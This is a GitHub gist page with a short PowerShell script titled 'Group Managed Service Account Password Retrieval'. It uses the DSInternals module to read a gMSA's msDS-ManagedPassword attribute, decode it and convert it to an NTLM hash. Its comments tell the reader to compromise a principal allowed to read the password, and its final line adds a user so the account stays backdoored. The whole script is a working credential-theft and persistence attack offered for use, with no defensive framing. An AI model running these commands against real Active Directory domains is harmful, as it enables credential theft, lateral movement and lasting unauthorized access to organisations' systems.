Skip to content

Instantly share code, notes, and snippets.

Created January 15, 2020 14:04
  • Star 3 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
Star You must be signed in to star a gist
What would you like to do?
Group Managed Service Account Password Retrieval
#Install the DSInterals Powershell Module
Install-Module -Name DSInternals -Force
#Import it.
Import-Module DSInternals
#Identify which users can recover the GMSA Account's Password. Compromise one of those Principals.
Get-ADServiceAccount -Identity GMSAccount -Properties PrincipalsAllowedToRetrieveManagedPassword
#Get the GMSA Object and assign it to a variable
$gmsa = Get-ADServiceAccount -Identity GMSAccount -Properties 'msDS-ManagedPassword'
#Get the Managed Password data block into a Variable
$mp = $gmsa.'msDS-ManagedPassword'
#Decode the blob to Plain Text, but the password itself will likely be unreadable.
$pt = ConvertFrom-AdManagedPasswordBlob $mp
#Convert just the password to a NTLM Hash
ConvertTo-NTHash $pt.SecureCurrentPassword
#Backdoor the GMSA Account so you can get the password whenever.
Set-ADServiceAccount -Identity GMSAccount -PrincipalsAllowedToRetrieveManagedPassword USER1 -Add
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment